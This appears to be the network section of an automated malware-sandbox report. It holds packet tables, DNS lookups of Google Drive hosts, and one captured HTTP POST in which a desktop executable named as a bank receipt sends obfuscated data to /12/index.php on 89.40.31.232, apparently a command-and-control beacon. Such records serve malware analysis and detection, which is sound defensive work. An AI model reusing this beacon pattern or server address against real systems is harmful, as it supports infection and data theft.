Nov 4, 2024 16:52:39.015979052 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.015980005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.015988111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016000032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016005993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016010046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.016015053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016019106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016031027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016036987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.016037941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016045094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016063929 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.016091108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.016263962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016287088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016298056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016304970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016311884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016319990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016328096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016330957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016338110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016339064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.016344070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016352892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016360998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016371012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016374111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.016375065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.016407013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.016426086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.035337925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.035360098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.035367966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.035407066 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.035444021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.035450935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.035458088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.035468102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.035475016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.035531044 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.035531044 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.036900997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.036967993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.036973000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.036973953 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.036979914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.036987066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037026882 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037039042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037045002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037059069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037064075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037091017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037134886 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037144899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037153006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037164927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037172079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037188053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037190914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037200928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037233114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037239075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037245035 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037272930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037300110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037306070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037318945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037354946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037358999 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037362099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037374020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037378073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037384033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037410021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037416935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037421942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037426949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037439108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037445068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037458897 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037478924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037508011 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037583113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037596941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037604094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037607908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037626028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037638903 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037646055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037652016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037673950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037678003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037679911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037686110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037691116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037702084 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037703037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037708044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037714005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037724018 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037729025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037740946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037750006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037792921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037792921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037825108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037832022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037844896 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037853003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037872076 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037880898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037888050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037893057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037899971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037904978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037916899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037919998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037933111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037940025 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037950039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037957907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037961960 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037971973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037980080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037986994 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.037992001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.037998915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038003922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038017988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038048029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038062096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038069963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038074970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038080931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038084030 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038089037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038094997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038110018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038119078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038166046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038166046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038187981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038192987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038198948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038207054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038223982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038230896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038233042 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038238049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038245916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038264036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038269997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038270950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038295031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038310051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038320065 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038352966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038355112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038361073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038387060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038393021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038403034 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038436890 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038450003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038458109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038511992 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038564920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038575888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038583994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038597107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038604021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038609982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038613081 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038615942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038623095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038633108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038636923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038659096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038681984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038701057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038707972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038719893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038726091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038732052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038738012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038743019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038748980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038753986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038755894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038806915 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038825035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038835049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038846970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038851976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038858891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038870096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038877010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038882017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038898945 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038930893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038939953 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038942099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038944006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038954973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038960934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038968086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038971901 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038989067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.038989067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.038994074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039005995 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039005995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039012909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039017916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039026022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039030075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039036036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039061069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039064884 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039067984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039077997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039082050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039123058 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039129972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039132118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039136887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039155006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039163113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039172888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039179087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039190054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039196014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039197922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039220095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039249897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039257050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039256096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039293051 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039334059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039341927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039347887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039366007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039372921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039382935 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039386988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039395094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039401054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039413929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039441109 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039460897 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039477110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039490938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039496899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039504051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039510012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039519072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039525986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:39.039537907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039556980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:39.039572954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.071265936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.071470022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.192132950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.192441940 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.196960926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.197261095 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.197354078 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.197503090 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.197578907 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.202301979 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202426910 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202430964 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202472925 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202472925 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.202477932 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202507019 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.202507973 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202512026 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202533960 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202548981 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.202620029 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.202641964 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202646017 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.202718973 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.207359076 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.207365036 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.207391024 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.207400084 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.207405090 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.207410097 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.207412004 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.207453012 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.207483053 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.208560944 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:42.208646059 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:42.257575035 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:43.159843922 CET	80	59475	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:43.159914970 CET	59475	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:44.756928921 CET	59475	80	192.168.2.6	89.40.31.232

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 16:51:20.131463051 CET	53	61339	162.159.36.2	192.168.2.6
Nov 4, 2024 16:51:20.756234884 CET	55327	53	192.168.2.6	1.1.1.1
Nov 4, 2024 16:51:20.763773918 CET	53	55327	1.1.1.1	192.168.2.6
Nov 4, 2024 16:52:29.959304094 CET	50983	53	192.168.2.6	1.1.1.1
Nov 4, 2024 16:52:29.967015982 CET	53	50983	1.1.1.1	192.168.2.6
Nov 4, 2024 16:52:31.489156961 CET	65269	53	192.168.2.6	1.1.1.1
Nov 4, 2024 16:52:31.496622086 CET	53	65269	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 16:51:20.756234884 CET	192.168.2.6	1.1.1.1	0x487d	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 4, 2024 16:52:29.959304094 CET	192.168.2.6	1.1.1.1	0x9fca	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 4, 2024 16:52:31.489156961 CET	192.168.2.6	1.1.1.1	0x2db9	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 16:51:20.763773918 CET	1.1.1.1	192.168.2.6	0x487d	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 4, 2024 16:52:29.967015982 CET	1.1.1.1	192.168.2.6	0x9fca	No error (0)	drive.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 4, 2024 16:52:31.496622086 CET	1.1.1.1	192.168.2.6	0x2db9	No error (0)	drive.usercontent.google.com		142.250.185.97	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

89.40.31.232

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	59474	89.40.31.232	80	5308	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 16:52:35.969382048 CET	277	OUT	POST /12/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 89.40.31.232 Content-Length: 115 Cache-Control: no-cache Data Raw: 4a 4c 89 28 39 ff 4c 2f fb 39 2f fb 39 4f ed 3f 4e ed 3e 3c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 ff 4c 2f fb 3a 2f fb 39 2f fb 3c 2f fb 3d 2f fb 3a 2f fa 49 2f fb 34 48 ed 3e 3e ed 3e 32 ed 3e 3d ed 3e 3d ed 3e 33 89 28 38 8c 28 39 fa 28 39 ff 28 39 fa 28 39 f8 28 39 f9 28 39 fa 4b 2f fb 39 2f fb 3a Data Ascii: JL(9L/9/9O?N><>3>>>;>>>3>:>=?N(9L/:/9/</=/:/I/4H>>>2>=>=>3(8(9(9(9(9(9(9K/9/:
